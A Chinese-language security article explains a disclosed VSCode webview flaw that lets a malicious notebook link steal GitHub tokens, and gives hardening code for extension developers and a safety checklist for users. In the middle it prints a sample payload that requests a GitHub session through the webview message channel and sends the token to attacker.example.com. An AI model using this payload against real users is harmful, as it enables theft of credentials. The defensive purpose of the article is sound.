安全研究员 Ammar Askar 最近披露了一个值得所有 VSCode 用户警惕的漏洞——攻击者只需要让用户在 VSCode 的 webview 里点击一条恶意链接,就能窃取用户的 GitHub 访问令牌。没有弹窗确认,没有二次交互,整个过程看起来就像你在正常使用一个 Jupyter Notebook。
这个漏洞暴露了 VSCode webview 安全模型中一个长期被低估的薄弱环节。
Webview:VSCode 里最危险的"合法入口"
VSCode 的扩展生态大量依赖 webview——Jupyter Notebook、Markdown 预览、自定义面板,本质上都是嵌入在 VSCode 内部的浏览器页面。webview 和扩展宿主(extension host)之间通过 postMessage 机制通信:
// 扩展端:创建 webview 并接收消息
const panel = vscode.window.createWebviewPanel(
'demoPanel',
'Demo',
vscode.ViewColumn.One,
{ enableScripts: true } // ← 开启脚本执行能力
);
panel.webview.onDidReceiveMessage(
message => {
if (message.command === 'requestGitHubToken') {
// 扩展宿主可以调用 vscode.authentication API
return vscode.authentication.getSession('github', ['repo'], { createIfNone: true });
}
},
undefined,
context.subscriptions
);
<!-- Webview 端 HTML:向扩展宿主发消息 -->
<script>
const vscode = acquireVsCodeApi();
vscode.postMessage({ command: 'requestGitHubToken' });
</script>
问题出在哪?webview 里渲染的内容(比如 Jupyter Notebook 的输出单元格)可以包含任意 HTML 和链接。一旦用户点击了恶意链接,攻击者可以在 webview 内执行 JavaScript,通过 acquireVsCodeApi() 向扩展宿主发送精心构造的消息,触发令牌获取流程。
攻击路径拆解
整个攻击链极其精简:
第一步:投毒。攻击者在 Notebook 输出、Markdown 文件或任何 webview 渲染的内容中嵌入一条看似正常的链接——可能伪装成文档链接、图片引用或数据可视化入口。
第二步:触发。用户在 VSCode 内点击该链接。由于 webview 的 CSP 和沙箱策略存在可被绕过的缝隙,点击行为可以执行攻击者预设的 JavaScript。
第三步:窃取。脚本通过 webview 的 postMessage 通道向扩展宿主请求 GitHub 认证会话。VSCode 的内置 GitHub 认证扩展会返回 access token,攻击者将其发送到外部服务器。
关键在于:VSCode 的认证 API 在 createIfNone: true 模式下会自动弹出 GitHub 登录/授权流程,而很多扩展为了用户体验,默认使用这个模式。一旦用户此前已经授权过,token 会直接返回,连确认弹窗都不会出现。
下面用一个概念性示例展示攻击者如何利用 webview 的消息通道(仅供理解攻击原理,勿用于实际攻击):
<!-- 概念性攻击 payload:嵌入在 Notebook 输出中的恶意 HTML -->
<a href="#" onclick="stealToken(); return false;">查看详细数据报告</a>
<script>
function stealToken() {
const vscode = acquireVsCodeApi();
// 向扩展宿主请求 GitHub token
vscode.postMessage({
command: 'githubAuth',
scopes: ['repo', 'gist'],
createIfNone: true
});
// 同时监听扩展宿主返回的消息
window.addEventListener('message', event => {
const token = event.data.token;
if (token) {
// 将 token 发送到攻击者控制的外部服务
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: JSON.stringify({ token: token })
});
}
});
}
</script>
整个过程对用户来说,只是"点击了一个链接查看数据"——完全在预期行为范围内。
为什么 CSP 没能拦住?
VSCode webview 配置了 Content Security Policy,限制脚本来源和外部连接。但实际防御效果有限:
enableScripts: true是很多扩展的刚需(Jupyter、图表渲染等),CSP 只能限制脚本来源,不能阻止已授权脚本调用acquireVsCodeApi()。- 攻击者的 payload 不需要加载外部 JS 文件,内联事件处理器(如
onclick)在某些 CSP 配置下仍然可以执行。 - 即使 CSP 阻止了直接的外部
fetch,攻击者仍可以通过 webview → 扩展宿主 → 外部网络的间接路径完成数据外泄。
根本问题不是 CSP 配置不够严,而是 webview 的消息通道设计上信任了所有来自自身 webview 内容的消息,没有对消息来源做更细粒度的校验。
防御实践:从扩展开发者到普通用户
扩展开发者的安全加固
如果你在开发 VSCode 扩展并使用了 webview,以下措施可以显著降低风险:
// 1. 不要无条件信任 webview 消息——验证消息结构和来源
panel.webview.onDidReceiveMessage(async (message) => {
// 严格校验消息格式,拒绝未知 command
const ALLOWED_COMMANDS = ['getCellContent', 'updateChart'];
if (!ALLOWED_COMMANDS.includes(message.command)) {
vscode.window.showWarningMessage(`拒绝未知 webview 命令: ${message.command}`);
return;
}
// 2. 认证请求绝不使用 createIfNone: true
// 强制要求用户主动确认
if (message.command === 'authRequest') {
const session = await vscode.authentication.getSession('github', message.scopes, {
createIfNone: false, // ← 不自动创建,必须用户手动触发
silent: false // ← 不静默获取,确保用户知情
});
if (!session) {
// 用户拒绝或未授权,不继续
return;
}
// 3. 返回 token 前再做一次用户确认
const consent = await vscode.window.showWarningMessage(
'该扩展请求访问你的 GitHub 账号,是否允许?',
'允许', '拒绝'
);
if (consent !== '允许') return;
return session.accessToken;
}
});
// 4. webview HTML 中设置尽可能严格的 CSP
const cspSource = panel.webview.cspSource;
const htmlContent = `
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy"
content="default-src 'none';
script-src ${cspSource} 'nonce-${nonce}';
style-src ${cspSource} 'unsafe-inline';
connect-src ${cspSource};">
</head>
<body>
<script nonce="${nonce}">
// 只有带 nonce 的脚本才能执行
const vscode = acquireVsCodeApi();
</script>
</body>
</html>
`;
// nonce 每次渲染随机生成
const nonce = getNonce();
function getNonce() {
let text = '';
const possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
for (let i = 0; i < 32; i++) {
text += possible.charAt(Math.floor(Math.random() * possible.length));
}
return text;
}
普通用户的自保清单
即使你不写扩展,作为 VSCode 用户也应该采取以下措施:
| 接触面 | 风险 | 操作 |
|---|---|---|
| GitHub Token 存储 | VSCode 内置认证扩展存储的 token 可被 webview 间接访问 | 定期在 github.com/settings/tokens 检查并撤销不再使用的 token |
| 陌生 Notebook | 来自他人的 .ipynb 文件输出单元格可包含恶意 HTML |
打开陌生 Notebook 前先用文本编辑器检查输出内容,或在 VSCode 设置中禁用 webview 脚本 |
| 扩展安装 | 任何带 webview 的扩展都有潜在风险 | 只安装信任来源的扩展,审查扩展是否请求了 authentication API 权限 |
| VSCode 版本 | 旧版本可能未包含最新安全补丁 | 保持 VSCode 更新到最新稳定版 |
在 VSCode 设置中,你可以通过以下方式限制 webview 的脚本执行能力:
// settings.json — 限制 webview 中可执行的内容
{
// 对 Jupyter Notebook 输出限制脚本执行
"jupyter.allowRunningWebviewScripts": false,
// 如果你不使用 Jupyter,可以直接禁用
"jupyter.enable": false
}
注意:禁用 webview 脚本会影响 Jupyter 的交互式输出(如 matplotlib 动态图表、IPython.display.HTML 等),需要权衡功能与安全。
一个更深层的问题
这个漏洞揭示的不只是一个技术缺陷,而是 桌面应用嵌入 Web 组件时普遍存在的信任边界模糊问题。VSCode 的 webview 模型假设"扩展开发者是可信的",但实际攻击链中,恶意内容来自用户打开的文件——这个信任假设被打破了。
类似的风险存在于任何"本地应用 + 内嵌浏览器"的架构中:Electron 应用、Slack、Discord,甚至 Obsidian 的插件系统。核心矛盾是:Web 的开放性与本地应用的高权限之间,缺少一个真正的权限隔离层。
VSCode 团队已经针对此漏洞进行了修复,但更根本的解决方案可能需要重新设计 webview 与扩展宿主之间的消息认证机制——比如引入消息签名、基于来源的命令白名单,或者将认证 API 的调用从 webview 通道中完全剥离。
在此之前,保持警惕、控制 token 暴露面、审查你打开的文件内容,是最实际的防御手段。